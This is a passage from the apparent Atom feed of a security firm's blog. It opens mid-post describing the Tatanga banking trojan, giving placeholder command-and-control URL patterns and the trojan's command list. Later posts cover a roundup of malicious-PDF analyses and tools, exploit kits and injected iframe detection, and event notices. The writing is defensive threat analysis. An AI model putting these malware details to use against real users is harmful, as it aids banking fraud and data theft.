src="http://3.bp.blogspot.com/-vZnxtNAPCoI/TWezKeI0LMI/AAAAAAAAAss/KWP43XMLVo4/s400/demo.png" alt="" id="BLOGGER_PHOTO_ID_5577623655991749826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Seven compromised web sites are hardcoded and act as proxys to the real control panel. Their functions range from data sending to notifying infections and obtaining money mules' accounts.  The format of the URLs are the following:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/m.php?f=module.dll&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/c.php&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/d.php&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;http://control_panel/srvpnl/upload/module.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-4u3kZ6U1Z4Y/TWezSNw7whI/AAAAAAAAAs0/KVLQ1gaoxRU/s1600/c%2526c.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/-4u3kZ6U1Z4Y/TWezSNw7whI/AAAAAAAAAs0/KVLQ1gaoxRU/s400/c%2526c.png" alt="" id="BLOGGER_PHOTO_ID_5577623789035569682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This malware affects nine browsers, covering almost all Windows users:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Internet Explorer&lt;/li&gt;&lt;li&gt;Mozilla Firefox&lt;/li&gt;&lt;li&gt;Google Chrome&lt;/li&gt;&lt;li&gt;Opera&lt;/li&gt;&lt;li&gt;Minefield&lt;/li&gt;&lt;li&gt;Maxthon&lt;/li&gt;&lt;li&gt;Netscape&lt;/li&gt;&lt;li&gt;Safari&lt;/li&gt;&lt;li&gt;Konqueror&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Some additional functionalities of the trojan:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;64-bit support: it injects into &lt;span style="font-style: italic;"&gt;explore.exe&lt;/span&gt; in 32-bit systems and it's executed as a normal process in 64-bit systems.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Anti-VM and anti-debugging techniques&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Dump online banking pages and send them to the server, probably in order to improve the injected code&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Weak encryption algorithm in the communication with the C&amp;amp;C based on XOR operations.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Commands accepted from the C&amp;amp;C: &lt;span style="font-style: italic;"&gt;modinfo, softstat, cmd, stopos, startos, reboot, winkill, die, instsoft, proclist, clearcookies, setlevel, kill&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Functions to prevent &lt;span style="font-style: italic;"&gt;Trusteer Rapport&lt;/span&gt; from being downloaded&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We have seen lots of comments and test functions, so maybe this is just a test to improve its functions before spreading it. Stay tuned!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jozsef Gegeny &amp;amp; &lt;a href="http://twitter.com/eternaltodo"&gt;Jose Miguel Esparza&lt;/a&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-3635193642668947358?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/NsDTJEXSZkE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3635193642668947358/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3635193642668947358" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3635193642668947358?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3635193642668947358?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/NsDTJEXSZkE/tatanga-new-banking-trojan-with-mitb.html" title="Tatanga: a new banking trojan with MitB functions" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s72-c/zeus2.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/tatanga-new-banking-trojan-with-mitb.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMFRXc9eSp7ImA9Wx9UF00.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-1071179915851694377</id><published>2011-02-14T08:50:00.000-08:00</published><updated>2011-02-14T08:53:34.961-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-14T08:53:34.961-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><title>S21sec in RSA</title><content type="html">&lt;a href="http://www.rsaconference.com/2011/usa/index.htm"&gt;RSA Conference&lt;/a&gt; has begun today and S21sec will be there to tell you the latest news in information security.&lt;br /&gt;&lt;br /&gt;See you in San Francisco!&lt;br /&gt;&lt;br /&gt;&lt;em&gt;S21sec Marketing&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-1071179915851694377?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/1gVdCIxCnYY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/1071179915851694377/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=1071179915851694377" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/1071179915851694377?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/1071179915851694377?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/1gVdCIxCnYY/s21sec-in-rsa.html" title="S21sec in RSA" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/s21sec-in-rsa.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcHQ30-fyp7ImA9Wx9VF0g.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-4664526773185842046</id><published>2011-02-02T08:42:00.000-08:00</published><updated>2011-02-03T08:20:32.357-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-03T08:20:32.357-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>PDF Security links, 2010: Analysis and Tools</title><content type="html">&lt;div style="text-align: justify;"&gt;After a year of incidents related to the Portable Document Format (PDF) it is good to look back and remember some of the most important ones. Listed below are some links to malicious and / or obfuscated PDF document analysis, and some tools that have made their appearance in 2010. I hope you enjoy them!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;2010-01-04: &lt;a href="http://isc.sans.edu/diary.html?storyid=7867"&gt;Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324&lt;/a&gt;  (embedded binaries)&lt;br /&gt;&lt;br /&gt;2010-01-07: &lt;a href="http://isc.sans.edu/diary.html?storyid=7906"&gt;Static analysis of malicous PDFs (Part #2)&lt;/a&gt; (getAnnots, arguments.callee)&lt;br /&gt;&lt;br /&gt;2010-01-09: &lt;a href="http://www.signal11.eu/en/research/articles/app_doc_in_pdf.html"&gt;PDF Obfuscation&lt;/a&gt; (variables substitution, LuckySploit, CVE 2008-2992)&lt;br /&gt;&lt;br /&gt;2010-01-13: &lt;a href="http://feliam.wordpress.com/2010/01/13/generic-pdf-exploit-hider-embedpdf-py-and-goodbye-av-detection-012010/"&gt;Generic PDF exploit hider. embedPDF.py and goodbye AV detection&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-01-14: &lt;a href="http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html"&gt;PDF Obfuscation using getAnnots()&lt;/a&gt; (getAnnots, arguments.callee, Neosploit)&lt;br /&gt;&lt;br /&gt;2010-02-15: &lt;a href="http://feliam.wordpress.com/2010/02/15/filling-adobes-heap/"&gt;Filling Adobe's heap&lt;/a&gt; (Javascript, ActionScript and PDF images)&lt;br /&gt;&lt;br /&gt;2010-02-18: &lt;a href="http://www.cs.bham.ac.uk/%7Ecovam/blog/2010/02/malicious-pdf-trick-getpagenthword.html"&gt;Malicious PDF trick: getPageNthWord &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-02-21: &lt;a href="http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/"&gt;Analyzing PDF exploits with Pyew &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-03-01: &lt;a href="http://www.f-secure.com/weblog/archives/00001894.html"&gt;Analyzing PDF Files &lt;/a&gt;(&lt;span class="rss:item"&gt;getPageNthWord, &lt;/span&gt;&lt;span class="rss:item"&gt;getPageNumWords&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;2010-04-08: &lt;a href="http://isc.sans.edu/diary.html?storyid=8587"&gt;JavaScript obfuscation in PDF: Sky is the limit&lt;/a&gt; (getAnnots,arguments.callee)&lt;br /&gt;&lt;br /&gt;2010-04-09: &lt;a href="http://blog.zynamics.com/2010/04/09/malicious-pdf-file-analysis-zynamics-style/"&gt;Malicious PDF file analysis: zynamics style&lt;/a&gt;  (PDF Dissector video)&lt;br /&gt;&lt;br /&gt;2010-04-22: &lt;a href="http://blog.bkis.com/en/will-there-be-new-viruses-exploiting-launch-vulnerability-in-pdf/"&gt;Will there be new viruses exploiting /Launch vulnerability in PDF?&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-05-18: &lt;a href="http://blog.didierstevens.com/2010/05/18/quickpost-more-malformed-pdfs/%20"&gt;Quickpost: More Malformed PDFs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-06-08: &lt;a href="http://www.symantec.com/connect/blogs/analysis-zero-day-exploit-adobe-flash-and-reader"&gt;Analysis of a Zero-day Exploit for Adobe Flash and Reader &lt;/a&gt;(CVE-2010-1297)&lt;br /&gt;&lt;br /&gt;2010-06-09: &lt;a href="http://blog.zynamics.com/2010/06/09/analyzing-the-currently-exploited-0-day-for-adobe-reader-and-adobe-flash/"&gt;A brief analysis of a malicious PDF file which exploits this week’s Flash 0-day&lt;/a&gt; (malware, ROP)&lt;br /&gt;&lt;br /&gt;2010-06-21: &lt;a href="http://blog.fireeye.com/research/2010/06/that-pdf-thing.html"&gt;World's Smallest PDF&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-02: &lt;a href="http://prosauce.org/blog/2010/07/exploring-recent-pdf-exploits-a-time-killer/"&gt;Exploring recent PDF exploits: A Time Killer&lt;/a&gt; (getPageNthWord&lt;code class="js plain"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;,&lt;/span&gt;&lt;/code&gt;CVE-2008-2992,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)&lt;br /&gt;&lt;br /&gt;2010-07-13: &lt;a href="http://blog.zynamics.com/2010/07/13/recon-slides-how-to-really-obfuscate-your-pdf-malware/"&gt;ReCon slides – How to really obfuscate your PDF malware&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-20: &lt;a href="http://www.h-online.com/security/features/CSI-Internet-PDF-timebomb-1038864.html"&gt;PDF time bomb&lt;/a&gt; (CVE-2008-2992,CVE-2007-5659,CVE-2009-0927)&lt;br /&gt;&lt;br /&gt;2010-08-04: &lt;a href="http://research.zscaler.com/2010/08/pdf-exploit-number-of-pages-is-key.html"&gt;PDF Exploit: Number of pages is the Key&lt;/a&gt;  (XOR, numPages,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)&lt;br /&gt;&lt;br /&gt;2010-08-04: &lt;a href="http://eternal-todo.com/blog/jailbreakme-pdf-exploit"&gt;About the JailbreakMe PDF exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-12: &lt;a href="http://eternal-todo.com/blog/more-jailbreakme-pdf-exploit"&gt;More about the JailbreakMe PDF exploit&lt;/a&gt; (CVE-2010-1797)&lt;br /&gt;&lt;br /&gt;2010-08-19: &lt;a href="http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html"&gt;Anatomy of a PDF Exploit&lt;/a&gt; (AcroForm, TIFF, CVE-2010-0188)&lt;br /&gt;&lt;br /&gt;2010-08-20: &lt;a href="http://prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/"&gt;Analyzing CVE-2010-0188 exploits: The Legend of Pat Casey (Part 1)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-23: &lt;a href="http://eternal-todo.com/blog/CVE-2010-1797-foxit-reader-exploit"&gt;CVE-2010-1797 PDF exploit for Foxit Reader &amp;lt;= 4.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-09-01: &lt;a href="http://esec-lab.sogeti.com/dotclear/index.php?post/2010/09/01/An-approach-to-PDF-shielding"&gt;An approach to PDF shielding&lt;/a&gt; (encryption, object streams, nested PDF documents)&lt;br /&gt;&lt;br /&gt;2010-09-13: &lt;a href="http://community.websense.com/blogs/securitylabs/archive/2010/09/13/malicious-pdf-challenges.aspx"&gt;Malicious PDF Challenges&lt;/a&gt; (getPageNumWords, getPageNthWord)&lt;br /&gt;&lt;br /&gt;2010-09-17: &lt;a href="http://www.symantec.com/connect/blogs/rise-pdf-malware"&gt;The Rise of PDF Malware&lt;/a&gt; (whitepaper)&lt;br /&gt;&lt;br /&gt;2010-09-26: &lt;a href="http://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/"&gt;Free Malicious PDF Analysis E-book&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-10-02: &lt;a href="http://blog.malwaretracker.com/2010/10/hiding-pdf-exploits-by-embedding-pdf.html"&gt;Hiding PDF Exploits by embedding PDF files in streams and Flash ROP heapsprays&lt;/a&gt; (CVE-2010-2883)&lt;br /&gt;&lt;br /&gt;2010-10-27: &lt;a href="http://sec.jetlib.com/SecDocs/2010/12/12/%5BSlides%5D_OMG-WTF-PDF"&gt;OMG WTF PDF - Julia Wolf&lt;/a&gt; (obfuscation, slides)&lt;br /&gt;&lt;br /&gt;2010-10-28: &lt;a href="http://contagiodump.blogspot.com/2010/10/potential-new-adobe-flash-player-zero.html"&gt;CVE-2010-3654 Adobe Flash player zero day vulnerability&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-10-28: &lt;a href="http://bugix-security.blogspot.com/2010/10/new-adobe-0day-bug-in-flash-player.html"&gt;New Adobe 0day (bug in flash player),CVE-2010-3654&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-11-11: &lt;a href="http://extraexploit.blogspot.com/2010/11/cve-2010-4091-printseps-exploitation.html"&gt;CVE-2010-4091 – printSeps - exploitation attempts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-03: &lt;a href="http://contagiodump.blogspot.com/2010/12/nov-19-cve-2010-2883-with-flash-jit.html"&gt;CVE-2010-2883 with Flash JIT Spray (PDF in PDF) Event Invitation from The Heritage Foundation from spoofed Heritage address&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-08: &lt;a href="http://blog.9bplus.com/scoring-pdfs-based-on-malicious-filter"&gt;Scoring PDFs Based on Malicious Filter&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-08: &lt;a href="http://blog.9bplus.com/released-malware-statistics-and-scoring-tests"&gt;Released Malware Statistics and Scoring Tests&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010: &lt;a href="http://www.google.com/search?q=2010+pdf+site%3Ahttp%3A%2F%2Fcontagiodump.blogspot.com"&gt;Gran cantidad de análisis del blog Contagiodump&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;2010-05-31: &lt;a href="http://www.zynamics.com/dissector.html"&gt;PDF Dissector&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-21: &lt;a href="http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57"&gt;PDF Stream Dumper&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-23: &lt;a href="http://feliam.wordpress.com/2010/08/23/opaf/"&gt;Opaf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-31: &lt;a href="http://www.malwaretracker.com/pdf.php"&gt;PDF Examiner&lt;/a&gt; (web interface)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-4664526773185842046?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/kmIDVzJmc9s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/4664526773185842046/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=4664526773185842046" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4664526773185842046?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4664526773185842046?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/kmIDVzJmc9s/pdf-security-links-2010-analysis-and.html" title="PDF Security links, 2010: Analysis and Tools" /><author><name>Ion</name><uri>http://www.blogger.com/profile/17837217200166713133</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/pdf-security-links-2010-analysis-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcHQXk_eSp7ImA9Wx9WEEw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-7747496236742096123</id><published>2011-01-14T03:24:00.001-08:00</published><updated>2011-01-14T07:13:50.741-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-14T07:13:50.741-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Awareness" /><title>Legitimate code on websites and false positives</title><content type="html">&lt;div style="text-align: justify;"&gt;An &lt;span style="font-weight: bold;"&gt;exploit pack&lt;/span&gt;, better known as &lt;span style="font-weight: bold;"&gt;exploit kit,&lt;/span&gt; is a type of software developed with malicious purposes. It contains several known exploits targeting different applications and  may contain as well &lt;a href="http://en.wikipedia.org/wiki/Zero-day_virus"&gt;zero days&lt;/a&gt;. The latter are specially appreciated, and make the exploit kit be very valuable  and profitable in the &lt;span style="font-style: italic;"&gt;underground market&lt;/span&gt;. It's main aim is to infect victim machines in order to turn them into zombie computers -which operate as part of a botnet- or other malicious purposes. There is a high demand in the underground market  for this kind of software which require almost not technical knowledge to be launched. Configuring it is not more difficult than a wordpress installation, and it can be managed through his web interface.&lt;br /&gt;&lt;br /&gt;Example of an exploit kit panel showing infection stats by browser&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_QUsiOTimAdQ/TSyOJ9VEhHI/AAAAAAAABaE/ISPkYfkdJS0/s1600/exploit-kit.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 225px;" src="http://2.bp.blogspot.com/_QUsiOTimAdQ/TSyOJ9VEhHI/AAAAAAAABaE/ISPkYfkdJS0/s320/exploit-kit.jpg" alt="" id="BLOGGER_PHOTO_ID_5560975941628626034" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;Source&lt;/span&gt;: http://malwareview.com/index.php?topic=8.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;However, just buying an exploit kit in the underground market and installing it is not enough to  infect victims. One of the keys tasks to do is attracting traffic to the site hosting the exploit kit. This can be achieved with &lt;span style="font-weight: bold;"&gt;black hat SEO&lt;/span&gt; techniques, or directly injecting iframes and scripts tags in legitimante websites than have been compromised, pointing this way to the exploit kit web  site by the technique known as &lt;span style="font-weight: bold;"&gt;drive-by download&lt;/span&gt;. Subsequently, the chances of a legitimate site being penalized by &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Fblog.s21sec.com%2F2010%2F08%2Fvisitar-este-sitio-puede-danar-tu.html&amp;amp;sl=es&amp;amp;tl=en&amp;amp;hl=&amp;amp;ie=UTF-8"&gt;malware monitoring systems in browsers&lt;/a&gt; will be very high. But, what 's the purpose of all this information?&lt;br /&gt;&lt;br /&gt;One of the features most commonly observed in the html code of this infected websites is the &lt;span style="font-weight: bold;"&gt;injection of  iframe or script tags after the html close tag&lt;/span&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_QUsiOTimAdQ/TSyYoE4tgUI/AAAAAAAABaU/dGHAJw9Rcns/s1600/script.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 161px;" src="http://4.bp.blogspot.com/_QUsiOTimAdQ/TSyYoE4tgUI/AAAAAAAABaU/dGHAJw9Rcns/s320/script.jpg" alt="" id="BLOGGER_PHOTO_ID_5560987454169514306" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;Source&lt;/span&gt;: http://blog.urlvoid.com/website-infected-with-malicious-scripts/&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.w3.org/TR/html4/interact/scripts.html"&gt;standar&lt;/a&gt;&lt;a href="http://www.w3.org/TR/html4/interact/scripts.html"&gt; for the script element&lt;/a&gt; says:&lt;br /&gt;&lt;p style="text-align: center; font-style: italic;"&gt;"The &lt;a href="http://www.w3.org/TR/html4/interact/scripts.html#edef-SCRIPT" class="noxref"&gt;&lt;samp class="einst"&gt; SCRIPT&lt;/samp&gt;&lt;/a&gt; element places a script within a document. This element may appear any number of times in the &lt;a href="http://www.w3.org/TR/html4/struct/global.html#edef-HEAD" class="noxref"&gt;&lt;samp class="einst"&gt;HEAD&lt;/samp&gt;&lt;/a&gt; or &lt;a href="http://www.w3.org/TR/html4/struct/global.html#edef-BODY" class="noxref"&gt;&lt;samp class="einst"&gt; BODY&lt;/samp&gt;&lt;/a&gt; of an HTML document."&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding a script or iframe element after the close html tag raises the alarm, and many URLs analysis engines will give high importance to this situation&lt;/span&gt;, leading even to false positives for legitimate websites. It has been proved that some well known sites keep this bad habit due to their own ignorance or because of third party widgets.&lt;br /&gt;&lt;br /&gt;As long as you can, avoid this bad practice if you don't want to have an unpleasant surprise.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Emilio Casbas&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-7747496236742096123?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/7MhPoegExew" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/7747496236742096123/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=7747496236742096123" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7747496236742096123?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7747496236742096123?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/7MhPoegExew/legitimate-code-on-websites-and-false.html" title="Legitimate code on websites and false positives" /><author><name>S21sec labs</name><uri>http://www.blogger.com/profile/13151825616347549199</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="34" height="5" src="http://www.s21sec.com/gisd/img/s21b.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_QUsiOTimAdQ/TSyOJ9VEhHI/AAAAAAAABaE/ISPkYfkdJS0/s72-c/exploit-kit.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/01/legitimate-code-on-websites-and-false.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IAQ3o5cSp7ImA9Wx5aGE8.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-4573800921810180671</id><published>2010-11-15T03:33:00.000-08:00</published><updated>2010-11-15T03:45:42.429-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-15T03:45:42.429-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Conference" /><title>S21sec in Payments Council e-Crime Seminar 2010</title><content type="html">&lt;a href="http://www.s21sec.com/"&gt;S21sec&lt;/a&gt; has been asked to  speak at the &lt;a href="http://www.paymentscouncil.org.uk/events/"&gt;UK Payments Council e-crime Seminar 2010.&lt;/a&gt; The event  is invite only and aimed firmly at the UK financial sector.&lt;br /&gt;
&lt;br /&gt;
S21sec will  be speaking about our &lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;recent discovery of the Zeus platform extending its reach  to mobile platforms&lt;/a&gt; in a blended attack that we have named MITMO (Man-In-The-Mobile).&lt;br /&gt;
&lt;br /&gt;
The speech is called: “ZeuS- Mitmo: is mobile  infection the next step for committing fraud?”&lt;br /&gt;
We hope to  see you there!&lt;br /&gt;
&lt;br /&gt;
You can find all the &lt;a href="http://www.paymentscouncil.org.uk/events/-/page/1051/"&gt;information following this link.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-4573800921810180671?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/bF4B_ExPKIU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/4573800921810180671/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=4573800921810180671" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4573800921810180671?v=2" /><link rel="self" type="application/atom+xml" 